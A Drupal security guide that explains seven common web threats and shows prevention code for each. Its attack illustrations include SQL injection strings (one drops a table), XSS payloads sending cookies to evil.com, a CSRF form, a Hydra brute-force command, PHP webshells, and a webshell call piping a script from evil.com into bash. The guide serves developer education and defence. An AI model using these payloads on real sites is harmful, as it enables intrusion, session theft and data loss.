🔐 Drupal Security Threats — Complete Guide with Examples

---

1. 💉 SQL Injection (SQLi)

🔴 What is it?

SQL Injection happens when an attacker **injects malicious SQL code** into a query through user input, manipulating the database to reveal, modify, or delete data.

🔴 How the Attack Works

Imagine your Drupal site has a search feature. A developer wrote this unsafe code:

```
// ❌ VULNERABLE CODE - Never do this!
$search = $_GET['search']; // User input: ' OR '1'='1

$query = db_query("SELECT * FROM {node_field_data}
                   WHERE title = '" . $search . "'");
```

Attacker enters in URL:

```
https://yoursite.com/search?search=' OR '1'='1' --
https://yoursite.com/search?search=' UNION SELECT username,pass,NULL FROM users --
https://yoursite.com/search?search='; DROP TABLE users; --
```

What happens in the database:

```
-- Attacker's injected query becomes:
SELECT * FROM node_field_data
WHERE title = '' OR '1'='1' --'
-- This returns ALL records! 1=1 is always true

-- UNION attack dumps all user credentials:
SELECT * FROM node_field_data WHERE title = ''
UNION SELECT username, pass, NULL FROM users --
```

The damage:

- 🔓 Dumps all usernames & hashed passwords
- 🗑️ Deletes entire database tables
- ✏️ Modifies content or user data
- 🔑 Bypasses login authentication

✅ How to Prevent in Drupal

```
// ✅ METHOD 1: Drupal's Database Abstraction Layer
// Automatically parameterizes ALL values - SAFE
$search = \Drupal::request()->query->get('search');

$query = \Drupal::database()->select('node_field_data', 'n')
  ->fields('n', ['nid', 'title', 'status'])
  ->condition('n.title', $search)       // Auto-sanitized ✅
  ->condition('n.status', 1)
  ->accessCheck(TRUE)
  ->execute()
```

```
  ->fetchAll();

// ✅ METHOD 2: Parameterized queries with placeholders
$result = \Drupal::database()->query(
  "SELECT * FROM {node_field_data}
   WHERE title = :title AND status = :status",
  [
    ':title'  => $search,   // Bound parameter - SAFE ✅
    ':status' => 1,
  ]
)->fetchAll();

// ✅ METHOD 3: Entity Query API (safest approach)
$nids = \Drupal::entityQuery('node')
  ->condition('title', $search)
  ->condition('status', 1)
  ->condition('type', 'article')
  ->accessCheck(TRUE)   // Always add this!
  ->execute();

$nodes = \Drupal\node\Entity\Node::loadMultiple($nids);

// ✅ METHOD 4: Dynamic queries with LIKE (still safe)
$query = \Drupal::database()->select('node_field_data', 'n')
  ->fields('n', ['nid', 'title']);

// Use db->escapeLike() for LIKE queries
$search_safe = '%' . \Drupal::database()->escapeLike($search) . '%';
$query->condition('n.title', $search_safe, 'LIKE');
$results = $query->execute()->fetchAll();
```

Additional Prevention:

```
// Input validation before query
use Drupal\Component\Utility\Html;

function validate_and_sanitize_input($input) {
  // Strip dangerous characters
  $input = Html::escape(trim($input));

  // Validate expected format
  if (!preg_match('/^[a-zA-Z0-9\s\-_]+$/', $input)) {
    throw new \InvalidArgumentException('Invalid input detected.');
  }
  return $input;
}

// Database user with minimal privileges
// In MySQL - never use root for Drupal!
// GRANT SELECT, INSERT, UPDATE, DELETE ON drupal.*
//   TO 'drupal_user'@'localhost';
// Never GRANT DROP, ALTER, CREATE to the web user
```

---

2. 🖥️ Cross-Site Scripting (XSS)

🔴 What is it?

XSS occurs when an attacker **injects malicious JavaScript** into a web page that is then executed in other users' browsers — stealing sessions, redirecting users, or defacing the site.

🔴 How the Attack Works

Scenario: Your Drupal site allows user comments. A developer forgot to sanitize output:

```
// ❌ VULNERABLE - Outputting raw user input
$comment = $node->get('field_comment')->value;
// Attacker stored this as their comment:
// <script>document.location='https://evil.com/steal?c='+document.cookie</script>

print $comment; // ❌ Executes the script for every visitor!
```

Types of XSS Attacks:

```
🔴 STORED XSS (Most Dangerous):
Attacker submits in a comment/profile field:
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      localStorage: JSON.stringify(localStorage)
    })
  });
</script>

Every user who views that page gets their
session cookie stolen → Account takeover!

🟠 REFLECTED XSS (URL-based):
https://yoursite.com/search?q=<script>alert(document.cookie)</script>

🟡 DOM-BASED XSS (Client-side):
URL fragment: https://yoursite.com/#<img src=x onerror=alert(1)>
```

The damage:

- 🍪 Steals session cookies → admin account takeover
- 📋 Keyloggers capture passwords as users type
- 🔄 Redirects users to phishing sites
- 💳 Captures form data (credit cards, passwords)
- 🦠 Spreads worm-like to all visitors

✅ How to Prevent in Drupal

```
// ✅ METHOD 1: Html::escape() for plain text
use Drupal\Component\Utility\Html;
use Drupal\Component\Utility\Xss;

// Escapes ALL HTML - converts < > " ' & to entities
$safe_text = Html::escape($user_input);
// Input:  <script>alert('xss')</script>
// Output: &lt;script&gt;alert(&#039;xss&#039;)&lt;/script&gt;

// ✅ METHOD 2: Xss::filter() for allowing SOME HTML
// Only allows safe tags: a, em, strong, cite, blockquote, etc.
```

```
$safe_html = Xss::filter($user_input);

// Allow specific tags only
$safe_html = Xss::filter($user_input, [
  'b', 'i', 'em', 'strong', 'u', 'br'
  // NO script, iframe, object, embed, form
]);

// ✅ METHOD 3: Xss::filterAdmin() for admin-only content
// More permissive but still strips scripts
$safe_admin = Xss::filterAdmin($admin_content);

// ✅ METHOD 4: t() function with safe placeholders
$output = t('Welcome back, @username!', [
  '@username' => $user->getDisplayName(), // @prefix = Html::escape()
  '%role'     => $role_name,              // %prefix = escaped + <em>
  // AVOID :prefix - it's raw HTML, only use for trusted values
]);
```

In Twig Templates (Best Practice):

```
{# ✅ SAFE - Twig auto-escapes by default #}
<div class="comment">{{ comment.body }}</div>

{# ✅ SAFE - Explicit escape #}
<p>{{ user_name | escape }}</p>

{# ✅ SAFE for rendered Drupal content #}
{{ content.field_body }}

{# ❌ DANGEROUS - Raw bypasses escaping #}
{{ user_input | raw }}

{# ✅ Only use |raw for pre-sanitized Drupal render arrays #}
{{ drupal_block('system_branding_block') | raw }}

{# ✅ Sanitize URLs to prevent javascript: URLs #}
<a href="{{ url | check_url }}">Link</a>
```

Text Formats — Crucial Drupal Setting:

Admin → Configuration → Content authoring → Text formats

❌ DANGEROUS settings:
- Full HTML format for anonymous/authenticated users
- "Limit allowed HTML tags" filter disabled

✅ SECURE settings:
- Restricted HTML for public users
- Basic HTML for trusted editors
- Full HTML ONLY for administrators
- Always enable: "Limit allowed HTML tags" filter
- Always enable: "Convert URLs into links" with safe protocols only

---

3. 🔄 Cross-Site Request Forgery (CSRF)

🔴 What is it?

CSRF tricks an **authenticated user's browser** into making unwanted requests to your Drupal site — like deleting content, changing emails, or transferring data — without the user knowing.

🔴 How the Attack Works

```
ATTACK SCENARIO:
1. Admin logs into yoursite.com/admin (session cookie set)
2. Admin visits attacker's site (evil.com) in same browser
3. Evil page contains hidden request to YOUR site:

<!-- On evil.com - invisible to victim -->
<img src="https://yoursite.com/user/1/cancel?confirm=1"
    width="0" height="0">

<!-- Or a hidden auto-submitting form -->
<form id="csrf" action="https://yoursite.com/admin/config/people/accounts"
     method="POST">
  <input name="admin_mail" value="attacker@evil.com">
  <input name="form_id" value="user_admin_settings">
</form>
<script>document.getElementById('csrf').submit();</script>

4. Browser sends request WITH admin's session cookie!
5. Drupal processes it as a legitimate admin action!
```

The damage:

- 👤 Change admin email → account takeover
- 🗑️ Delete nodes, users, content
- ⚙️ Modify site configuration
- 💰 Trigger financial transactions
- 🔑 Change passwords or permissions

✅ How to Prevent in Drupal

```
// ✅ METHOD 1: Always use Drupal Form API
// CSRF tokens are AUTOMATICALLY added to all Form API forms
class DeleteArticleForm extends ConfirmFormBase {

  public function buildForm(array $form, FormStateInterface $form_state,
                            $nid = NULL) {
    // Drupal automatically injects:
    // - form_token (CSRF token)
    // - form_build_id
    // - form_id
    // You don't need to add these manually!
    return parent::buildForm($form, $form_state);
  }

  public function submitForm(array &$form, FormStateInterface $form_state) {
    // Drupal already validated the CSRF token before reaching here ✅
    $this->node->delete();
    $this->messenger()->addStatus($this->t('Article deleted.'));
  }
}
```

```
// ✅ METHOD 2: Protect GET routes with CSRF token
// mymodule.routing.yml
mymodule.quick_delete:
  path: '/node/{node}/quick-delete'
  defaults:
    _controller: '\Drupal\mymodule\Controller\QuickDeleteController::delete'
    _title: 'Quick Delete'
  requirements:
    _permission: 'delete any article content'
    _csrf_token: 'TRUE'    # ← Drupal validates token automatically

// ✅ METHOD 3: Generate CSRF token in links manually
use Drupal\Core\Url;

$url = Url::fromRoute('mymodule.quick_delete',
  ['node' => $node->id()],
  [
    'query' => [
      'token' => \Drupal::csrfToken()->get(
        'mymodule-delete-' . $node->id()
      ),
    ],
  ]
);

// ✅ METHOD 4: Validate CSRF token manually in controller
use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;

public function delete(Request $request, NodeInterface $node) {

  $token = $request->query->get('token');
  $token_key = 'mymodule-delete-' . $node->id();

  // Validate the token
  if (!\Drupal::csrfToken()->validate($token, $token_key)) {
    throw new AccessDeniedHttpException('Invalid CSRF token.');
  }

  // Safe to proceed
  $node->delete();
  return new RedirectResponse('/');
}

// ✅ METHOD 5: CSRF in AJAX requests
// Always include token header in JS
Drupal.ajax.prototype.options.beforeSend = function(xhr, options) {
  xhr.setRequestHeader('X-CSRF-Token', drupalSettings.csrfToken);
};
```

---

4. 🔨 Brute-Force Login Attacks

🔴 What is it?

Attackers use **automated tools** to try thousands of username/password combinations until they find valid credentials — especially targeting `/user/login`.

🔴 How the Attack Works

```
# Attacker uses tools like Hydra, Burp Suite, or custom scripts:

hydra -L usernames.txt -P passwords.txt yoursite.com \
  http-post-form "/user/login:name=^USER^&pass=^PASS^&form_id=user_login_form:Sorry"

# Or a Python script hitting your login endpoint:
for password in ['admin', '123456', 'password', 'drupal123']:
    requests.post('https://yoursite.com/user/login', {
        'name': 'admin',
        'pass': password,
        'form_id': 'user_login_form'
    })

# Tools can try 10,000+ passwords per minute!
```

Username Enumeration — Making it Worse:

```
❌ BAD error messages that reveal valid usernames:
"The password you entered is incorrect for username admin"
→ Attacker now KNOWS 'admin' is a valid user!

✅ GOOD generic message:
"Unrecognized username or password."
→ Reveals nothing!

Also vulnerable:
- /user/1 (always the admin profile)
- Password reset: "No account found with email x@x.com"
  vs "If this email exists, we sent a reset link"
```

✅ How to Prevent in Drupal

```
// ✅ METHOD 1: Drupal's built-in flood control
// Already active! Configure in settings.php:

// Limit failed logins per IP
$config['user.flood']['ip_limit'] = 50;        // Default: 50
$config['user.flood']['ip_window'] = 3600;     // Per hour

// Limit failed logins per user account
$config['user.flood']['user_limit'] = 5;       // Default: 5
$config['user.flood']['user_window'] = 21600;  // Per 6 hours

// ✅ METHOD 2: Install Login Security module
// drush require login_security
// Admin → Config → People → Login Security:
// - Max login failures before block: 5
// - Host lockout window: 3600 seconds
// - Notify admin on attack
// - Show generic error messages
// - Track logins by IP and username

// ✅ METHOD 3: Add CAPTCHA to login form
// drush require captcha recaptcha

// captcha.settings:
$config['captcha.settings']['default_challenge'] = 'recaptcha/reCAPTCHA';
```

```
$config['captcha.settings']['enable_stats'] = TRUE;

// Add captcha to login form via UI:
// Admin → Config → People → CAPTCHA → Add CAPTCHA point
// Form ID: user_login_form

// ✅ METHOD 4: Custom flood control in your module
use Drupal\Core\Flood\FloodInterface;

class MyLoginController {

  protected $flood;

  public function __construct(FloodInterface $flood) {
    $this->flood = $flood;
  }

  public function login(Request $request) {
    $flood_config = \Drupal::config('user.flood');
    $ip = $request->getClientIp();

    // Check if IP is flooded
    if (!$this->flood->isAllowed('mymodule.failed_login_ip',
      $flood_config->get('ip_limit'),
      $flood_config->get('ip_window'),
      $ip)) {

      \Drupal::logger('mymodule')->warning(
        'Brute force detected from IP: @ip', ['@ip' => $ip]
      );

      throw new AccessDeniedHttpException(
        'Too many failed attempts. Try again later.'
      );
    }

    // Register a flood event on failed login
    $this->flood->register('mymodule.failed_login_ip',
      $flood_config->get('ip_window'), $ip
    );
  }
}

// ✅ METHOD 5: Two-Factor Authentication
// drush require tfa
// Enforces 2FA for all admin/privileged users
// Even if password is compromised, attacker still can't login

// ✅ METHOD 6: Rename/protect admin login URL
// Admin login at /user/login is well-known
// Use Shield module for staging + restrict /user/login by IP
// In .htaccess or nginx config:
// location = /user/login {
//   allow 203.0.113.0/24;  # Your office IP
//   deny all;
// }
```

---

5. 📁 Insecure File Uploads

🔴 What is it?

Attackers upload **malicious files** (PHP webshells, executables) disguised as images or documents to gain **remote code execution** on your server.

🔴 How the Attack Works

```
// If your file upload is misconfigured:
// Attacker renames evil.php as evil.php.jpg or evil.phtml

// Shell file content (webshell.php):
<?php system($_GET['cmd']); ?>
// Or more sophisticated:
<?php eval(base64_decode($_POST['payload'])); ?>

// After upload, attacker accesses:
https://yoursite.com/sites/default/files/webshell.php?cmd=whoami
https://yoursite.com/sites/default/files/webshell.php?cmd=cat+/etc/passwd
https://yoursite.com/sites/default/files/webshell.php?cmd=curl+evil.com/backdoor.sh+|+bash

// Result: Full server compromise!
// - Read all files including settings.php (DB credentials!)
// - Create backdoor accounts
// - Pivot to attack other servers
// - Install ransomware
```

✅ How to Prevent in Drupal

```
// ✅ METHOD 1: Strict file validation
$form['avatar'] = [
  '#type'              => 'managed_file',
  '#title'             => t('Profile Photo'),
  '#upload_location'   => 'private://avatars/',  // Private! Not public!
  '#upload_validators' => [
    // Only allow specific extensions
    'file_validate_extensions' => ['jpg jpeg png gif webp'],

    // Limit file size (2MB)
    'file_validate_size' => [2 * 1024 * 1024],

    // Validate it's actually an image
    'file_validate_is_image' => [],

    // Limit image dimensions
    'file_validate_image_resolution' => ['2000x2000', '50x50'],
  ],
];

// ✅ METHOD 2: Custom MIME type validation
use Drupal\file\Entity\File;

function mymodule_file_validate(File $file) {
  $errors = [];

  // Check real MIME type (not just extension)
  $mime = \Drupal::service('file.mime_type.guesser')
    ->guessMimeType($file->getFileUri());
```

```
$allowed_mimes = [
  'image/jpeg',
  'image/png',
  'image/gif',
  'image/webp',
  'application/pdf',
];

if (!in_array($mime, $allowed_mimes)) {
  $errors[] = t('File type @mime is not allowed.', ['@mime' => $mime]);
}

// Check for PHP code in image files (image injection attack)
$content = file_get_contents($file->getFileUri());
if (preg_match('/<\?php/i', $content) ||
    preg_match('/<script/i', $content)) {
  $errors[] = t('File contains potentially dangerous code.');
    // Delete the file immediately!
    \Drupal::service('file_system')->delete($file->getFileUri());
  }

  return $errors;
}

// ✅ METHOD 3: Rename uploaded files to random hashes
use Drupal\Component\Utility\Crypt;

function mymodule_file_presave(File $file) {
  $extension = pathinfo($file->getFilename(), PATHINFO_EXTENSION);
  $safe_name = Crypt::randomBytesBase64(16) . '.' . strtolower($extension);
  $file->setFilename($safe_name);
}

// ✅ METHOD 4: Store files in private filesystem
// settings.php
$settings['file_private_path'] = '/var/private_files'; // OUTSIDE webroot!

// For sensitive files always use:
'#upload_location' => 'private://documents/'
// Not: 'public://documents/' ← accessible via URL directly!

// ✅ METHOD 5: .htaccess in upload directories
// Auto-created by Drupal in sites/default/files/.htaccess:
// But verify it contains:
/*
# Prevent PHP execution in files directory
<FilesMatch "\.php$">
  Deny from all
</FilesMatch>

# Prevent .htaccess overrides
Options -Indexes
Options -ExecCGI
AddHandler cgi-script .php .php3 .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi

# Force download for potentially dangerous files
<FilesMatch "\.(php|phtml|php3|php4|php5|php7|phar|pl|py|sh)$">
```

```
  Header set Content-Disposition attachment
  Deny from all
</FilesMatch>
*/
```

---

6. 👑 Privilege Escalation

🔴 What is it?

An attacker with **low-privilege access** (like an authenticated user) manipulates the application to gain **higher privileges** — such as administrator access.

🔴 How the Attack Works

```
SCENARIO 1 - Mass Assignment Attack:
Attacker manipulates form POST data:
POST /user/5/edit
  name=attacker&
  roles[administrator]=administrator  ← Added by attacker!

If the form doesn't check permissions properly,
the attacker grants themselves admin role!

SCENARIO 2 - Insecure Direct Object Reference:
GET https://yoursite.com/user/1/edit
  ↑ Always the super admin user!
If session validation is weak, attacker edits admin profile.

SCENARIO 3 - Permission Misconfiguration:
A developer accidentally grants "administer users"
permission to the "authenticated user" role.
Now ANY logged-in user can create admin accounts!

SCENARIO 4 - Custom Module Vulnerability:
A custom module checks role but not permission:
if ($user->hasRole('editor')) {
  // ← But what if attacker can self-assign editor role?
  show_admin_panel();
}
```

✅ How to Prevent in Drupal

```
// ✅ METHOD 1: Always use _permission in routing
// mymodule.routing.yml
mymodule.admin:
  path: '/admin/mymodule'
  requirements:
    _permission: 'administer mymodule'   # Not just _role!
    _user_is_logged_in: 'TRUE'

// ✅ METHOD 2: Check permissions in controllers
use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;

public function adminPage() {
  // Check specific permission - never just check role
  if (!\Drupal::currentUser()->hasPermission('administer mymodule')) {
    throw new AccessDeniedHttpException();
```

```
  }
  // ... render page
}

// ✅ METHOD 3: Use Access Control Handler for entities
// mymodule/src/MyEntityAccessControlHandler.php
class MyEntityAccessControlHandler extends EntityAccessControlHandler {

  protected function checkAccess(EntityInterface $entity,
                                 $operation,
                                 AccountInterface $account) {
    switch ($operation) {
      case 'view':
        return AccessResult::allowedIfHasPermission(
          $account, 'view my_entity'
        );
      case 'update':
        // Check ownership OR admin permission
        $is_owner = $entity->getOwnerId() === $account->id();
        return AccessResult::allowedIf($is_owner)
          ->orIf(AccessResult::allowedIfHasPermission(
            $account, 'edit any my_entity'
          ));
      case 'delete':
        return AccessResult::allowedIfHasPermission(
          $account, 'delete any my_entity'
        );
    }
    return AccessResult::neutral();
  }
}

// ✅ METHOD 4: Protect role assignment
// Never allow users to assign their own roles!
function mymodule_form_user_form_alter(&$form,
                                       FormStateInterface $form_state) {
  $current_user = \Drupal::currentUser();

  // Only admins can change roles
  if (!$current_user->hasPermission('administer users')) {
    // Remove roles field entirely from non-admin users
    unset($form['account']['roles']);
  } else {
    // Prevent even admins from assigning 'administrator' to others
    // unless they are themselves administrator
    if (!in_array('administrator', $current_user->getRoles())) {
      unset($form['account']['roles']['#options']['administrator']);
    }
  }
}

// ✅ METHOD 5: Regular permission audit
// Drupal console command to audit permissions:
// drush php:eval "
//   foreach (user_roles() as $role) {
//     echo $role->id() . ': ';
//     echo implode(', ', $role->getPermissions()) . PHP_EOL;
//   }
```

// "

Admin UI Permission Checklist:

Admin → People → Permissions (/admin/people/permissions)

❌ DANGEROUS permissions for anonymous/authenticated:
- administer users
- administer permissions
- administer site configuration
- use PHP for settings
- bypass node access

✅ Safe defaults:
- Anonymous: view published content only
- Authenticated: post comments, access content
- Editor: create/edit own content
- Admin: everything (minimum people!)

---

7. 🍪 Session Hijacking

🔴 What is it?

An attacker **steals or forges a valid session token** to impersonate a legitimate authenticated user — without needing their password.

🔴 How the Attack Works

```
ATTACK METHOD 1 - Cookie Theft via XSS:
<script>
  new Image().src = 'https://attacker.com/steal?c='
    + encodeURIComponent(document.cookie);
</script>
→ Attacker gets: SSESS1234abcd=xyz789...
→ Sets this cookie in their browser
→ They ARE now the admin!

ATTACK METHOD 2 - Network Sniffing (HTTP sites):
Using Wireshark or mitmproxy on same network:
GET /admin HTTP/1.1
Cookie: SSESS1234abcd=xyz789abc...  ← Captured!
→ Replay this in attacker's browser = instant login

ATTACK METHOD 3 - Session Fixation:
1. Attacker gets a pre-login session: SSESS=KNOWN123
2. Tricks victim into using that session ID:
   https://yoursite.com/user/login?SSESS=KNOWN123
3. Victim logs in with the KNOWN session ID
4. Attacker uses same KNOWN session ID = logged in!

ATTACK METHOD 4 - Predictable Session IDs:
If session IDs are sequential or guessable:
SSESS0001, SSESS0002, SSESS0003...
Attacker brute-forces session IDs
```

✅ How to Prevent in Drupal

```php
// ✅ METHOD 1: Force HTTPS + Secure cookies
// settings.php - THE MOST IMPORTANT SETTINGS

// Force secure session cookies (HTTPS only)
ini_set('session.cookie_secure', TRUE);

// Prevent JavaScript from accessing cookies (stops XSS theft)
ini_set('session.cookie_httponly', TRUE);

// Strict same-site policy (prevents CSRF + session theft)
ini_set('session.cookie_samesite', 'Strict');

// Use strong session hashing
ini_set('session.hash_function', 'sha256');

// Longer session ID = harder to guess
ini_set('session.sid_length', '64');
ini_set('session.sid_bits_per_character', '6');

// ✅ METHOD 2: Session regeneration after login
// Drupal does this automatically - but verify your custom
// auth modules do it too!
use Drupal\Core\Session\SessionManagerInterface;

class MyAuthService {

  protected $sessionManager;

  public function login(AccountInterface $account) {
    // Regenerate session ID after successful login
    // Prevents session fixation attacks
    $this->sessionManager->regenerate();

    // Then set the user
    \Drupal::service('current_user')->setAccount($account);
  }
}

// ✅ METHOD 3: Session timeout configuration
// Install Automated Logout module
// drush require autologout

// autologout.settings:
$config['autologout.settings']['timeout'] = 1800;     // 30 minutes
$config['autologout.settings']['max_timeout'] = 86400; // 24hr max
$config['autologout.settings']['redirect_url'] = '/user/login';
$config['autologout.settings']['message'] =
  'You have been logged out due to inactivity.';

// ✅ METHOD 4: Content Security Policy to prevent XSS→session theft
// seckit module configuration:
$config['seckit.settings']['seckit_xss']['csp'] = TRUE;
$config['seckit.settings']['seckit_xss']['csp_default-src'] = "'self'";
$config['seckit.settings']['seckit_xss']['csp_script-src'] =
  "'self' 'nonce-{random}'";

// This prevents inline scripts from stealing cookies!
```

```
// ✅ METHOD 5: HTTP security headers
// .htaccess
/*
# Prevent session cookie theft
Header always edit Set-Cookie (.*) "$1; Secure; HttpOnly; SameSite=Strict"

# Force HTTPS - no HTTP fallback possible
Header always set Strict-Transport-Security \
  "max-age=31536000; includeSubDomains; preload"
*/

// ✅ METHOD 6: Drupal's session security built-ins
// Verify these are active in your settings.php:
$settings['session_write_interval'] = 180; // Write every 3 minutes

// Invalidate sessions on password change
// Already built into Drupal - changing password logs out all sessions

// ✅ METHOD 7: Monitor suspicious session activity
function mymodule_user_login(AccountInterface $account) {
  $ip = \Drupal::request()->getClientIp();

  // Log the login with IP
  \Drupal::logger('security')->info(
    'User @name logged in from @ip', [
      '@name' => $account->getDisplayName(),
      '@ip'   => $ip,
    ]
  );

  // Store login IP for later comparison
  \Drupal::service('user.data')->set(
    'mymodule',
    $account->id(),
    'last_login_ip',
    $ip
  );
}

// Check on each request if IP changed dramatically
function mymodule_check_session_integrity(AccountInterface $account) {
  $stored_ip  = \Drupal::service('user.data')
    ->get('mymodule', $account->id(), 'last_login_ip');
  $current_ip = \Drupal::request()->getClientIp();

  if ($stored_ip && $stored_ip !== $current_ip) {
    \Drupal::logger('security')->warning(
      'Session IP mismatch for user @name: was @old, now @new', [
        '@name' => $account->getDisplayName(),
        '@old'  => $stored_ip,
        '@new'  => $current_ip,
      ]
    );
    // Optionally force re-login
    // user_logout();
  }
}
```

🗂️ Complete Security Summary Table

Threat	Attack Vector	Drupal Prevention	Module Help
SQL Injection	Unsanitized DB queries	Database API, EntityQuery	—
XSS	Unescaped output	Html::escape(), Twig auto-escape	Security Kit
CSRF	Forged form submissions	Form API tokens, `_csrf_token`	Security Kit
Brute Force	Password guessing bots	Flood control, CAPTCHA	Login Security, TFA
File Upload	Malicious PHP uploads	File validators, private FS	ClamAV
Privilege Escalation	Permission bypass	`_permission` checks, ACH	—
Session Hijacking	Cookie theft/fixation	HTTPS, HttpOnly, SameSite	Autologout

---

> 💡 **Final Interview Tip:** Always mention that Drupal's **core APIs protect you when used correctly** — the vulnerabilities almost always come from **bypassing the API** (raw queries, `| raw` in Twig, skipping Form API) or from **misconfiguration** (wrong text format, weak permissions, HTTP instead of HTTPS). The golden rule: *"Never trust user input. Always use Drupal's APIs. Always check permissions explicitly."*